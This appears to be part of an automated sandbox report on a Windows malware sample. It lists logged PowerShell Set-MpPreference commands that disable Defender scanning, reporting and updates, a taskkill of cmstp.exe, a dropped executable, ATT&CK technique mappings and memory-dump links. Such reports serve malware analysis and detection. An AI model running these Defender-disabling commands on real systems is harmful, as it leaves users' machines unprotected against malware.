  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3684
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableBlockAtFirstSeen $true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2212
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableIOAVProtection $true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1016
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisablePrivacyMode $true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4056
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableScriptScanning $true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3732
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -HighThreatDefaultAction 6 -Force
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3844
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -LowThreatDefaultAction 6
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4140
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4212
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ModerateThreatDefaultAction 6
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4324
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SevereThreatDefaultAction 6
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4436
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4548
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 2
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4672
- C:\Windows\SysWOW64\taskkill.exe
  taskkill /IM cmstp.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2136

C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\sqlcmd.exe
1⤵
- Executes dropped EXE
PID:3076

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/208-196-0x0000000000E70000-0x0000000000E71000-memory.dmp

Download

memory/208-204-0x0000000005810000-0x0000000005811000-memory.dmp

Download

memory/208-231-0x000000007EAD0000-0x000000007EAD1000-memory.dmp

Download

memory/208-263-0x0000000009A90000-0x0000000009AFF000-memory.dmp

Download

memory/208-264-0x0000000009B20000-0x0000000009B40000-memory.dmp

Download

memory/524-322-0x000000007EB40000-0x000000007EB41000-memory.dmp

Download

memory/524-323-0x00000000072C3000-0x00000000072C4000-memory.dmp

Download

memory/524-301-0x00000000072C0000-0x00000000072C1000-memory.dmp

Download

memory/524-302-0x00000000072C2000-0x00000000072C3000-memory.dmp

Download

memory/636-310-0x0000028D72703000-0x0000028D72705000-memory.dmp

Download

memory/636-309-0x0000028D72700000-0x0000028D72702000-memory.dmp

Download

memory/636-311-0x0000028D72706000-0x0000028D72708000-memory.dmp

Download

memory/1016-205-0x00000000004F0000-0x000000000059E000-memory.dmp

Download

memory/1016-342-0x00000267F7E83000-0x00000267F7E85000-memory.dmp

Download

memory/1016-338-0x00000267F7E80000-0x00000267F7E82000-memory.dmp

Download

memory/1100-268-0x00000000005D0000-0x00000000005D1000-memory.dmp

Download

memory/1100-271-0x0000000000BD0000-0x0000000000C3D000-memory.dmp

Download

memory/1100-266-0x0000000000700000-0x0000000000701000-memory.dmp

Download

memory/1100-269-0x0000000010580000-0x00000000105F0000-memory.dmp

Download

memory/1100-265-0x0000000000580000-0x0000000000581000-memory.dmp

Download

memory/1120-276-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/1260-147-0x0000000005140000-0x0000000005141000-memory.dmp

Download

memory/1260-145-0x0000000005640000-0x0000000005641000-memory.dmp

Download

memory/1260-148-0x0000000005210000-0x0000000005211000-memory.dmp

Download

memory/1260-149-0x0000000005310000-0x0000000005311000-memory.dmp

Download

memory/1260-150-0x00000000052C0000-0x00000000052C2000-memory.dmp

Download

memory/1260-151-0x0000000005140000-0x000000000563E000-memory.dmp

Download

memory/1260-153-0x0000000006070000-0x0000000006145000-memory.dmp

Download

memory/1260-156-0x0000000008670000-0x0000000008711000-memory.dmp

Download

memory/1260-141-0x0000000000790000-0x0000000000791000-memory.dmp

Download

memory/1268-168-0x00000000004F0000-0x000000000059E000-memory.dmp

Download

memory/1268-167-0x0000000000400000-0x0000000000492000-memory.dmp

Download

memory/1908-117-0x0000000000500000-0x0000000000506000-memory.dmp

Download

memory/1908-116-0x00000000004F0000-0x00000000004F1000-memory.dmp

Download

memory/2212-335-0x000002132BC40000-0x000002132BC42000-memory.dmp

Download

memory/2212-337-0x000002132BC43000-0x000002132BC45000-memory.dmp

Download

memory/2232-312-0x0000000004EF0000-0x0000000004EF1000-memory.dmp

Download

memory/2316-181-0x0000000000400000-0x0000000000492000-memory.dmp

Download

memory/2316-185-0x0000000000400000-0x0000000000492000-memory.dmp

Download

memory/2320-299-0x0000000004B60000-0x000000000505E000-memory.dmp

Download

memory/2320-300-0x0000000004B60000-0x000000000505E000-memory.dmp

Download

memory/2332-247-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/2332-245-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/2332-254-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/2332-248-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/2400-121-0x0000000000400000-0x0000000000405000-memory.dmp

Download

memory/2400-122-0x00000000001F0000-0x00000000001F1000-memory.dmp

Download

memory/2456-160-0x0000000000440000-0x000000000058A000-memory.dmp

Download

memory/2456-159-0x0000000000400000-0x0000000000434000-memory.dmp

Download

memory/2468-256-0x00000000085A0000-0x00000000085CF000-memory.dmp

Download

memory/2468-192-0x00000000050B0000-0x00000000050B1000-memory.dmp

Download

memory/2468-183-0x00000000007C0000-0x00000000007C1000-memory.dmp

Download

memory/2468-251-0x0000000006020000-0x000000000609E000-memory.dmp

Download

memory/2688-217-0x0000000000C80000-0x0000000000C81000-memory.dmp

Download

memory/2688-277-0x0000000006390000-0x00000000063F9000-memory.dmp

Download

memory/2688-233-0x0000000005470000-0x000000000596E000-memory.dmp

Download

memory/2724-142-0x0000000000880000-0x0000000000881000-memory.dmp

Download

memory/2764-152-0x00000000006E0000-0x00000000006E5000-memory.dmp

Download

memory/2764-144-0x00000000006D0000-0x00000000006D1000-memory.dmp

Download

memory/3648-165-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/3648-166-0x0000000002010000-0x0000000002011000-memory.dmp

Download

memory/3684-325-0x000001EF4DC90000-0x000001EF4DC92000-memory.dmp

Download

memory/3684-326-0x000001EF4DC93000-0x000001EF4DC95000-memory.dmp

Download

memory/3728-146-0x00000000027C0000-0x00000000027C1000-memory.dmp

Download

memory/3732-349-0x00000202E04E0000-0x00000202E04E2000-memory.dmp

Download

memory/3840-234-0x0000000000650000-0x0000000000651000-memory.dmp

Download

memory/3844-327-0x00000115F4890000-0x00000115F4892000-memory.dmp

Download

memory/3844-330-0x00000115F4893000-0x00000115F4895000-memory.dmp

Download

memory/4052-209-0x0000000000670000-0x0000000000671000-memory.dmp

Download

memory/4052-232-0x0000000001080000-0x0000000001112000-memory.dmp

Download

memory/4052-282-0x0000000005540000-0x0000000005555000-memory.dmp

Download

memory/4052-273-0x0000000005DA0000-0x0000000005E08000-memory.dmp

Download

memory/4056-345-0x000001673C470000-0x000001673C472000-memory.dmp

Download

memory/4056-346-0x000001673C473000-0x000001673C475000-memory.dmp

Download

memory/4076-298-0x0000000005290000-0x000000000578E000-memory.dmp

Download

memory/4076-279-0x0000000000A60000-0x0000000000A61000-memory.dmp

Download

memory/4140-328-0x000002E1C9050000-0x000002E1C9052000-memory.dmp

Download

memory/4140-331-0x000002E1C9053000-0x000002E1C9055000-memory.dmp

Download

memory/4212-332-0x000001DE93CD0000-0x000001DE93CD2000-memory.dmp

Download

memory/4212-333-0x000001DE93CD3000-0x000001DE93CD5000-memory.dmp

Download

memory/4324-339-0x000002659B0A0000-0x000002659B0A2000-memory.dmp

Download

memory/4324-341-0x000002659B0A3000-0x000002659B0A5000-memory.dmp

Download

memory/4436-344-0x000001D1EEC53000-0x000001D1EEC55000-memory.dmp

Download

memory/4436-343-0x000001D1EEC50000-0x000001D1EEC52000-memory.dmp

Download

memory/4548-348-0x0000021FB4193000-0x0000021FB4195000-memory.dmp

Download

memory/4548-347-0x0000021FB4190000-0x0000021FB4192000-memory.dmp

Download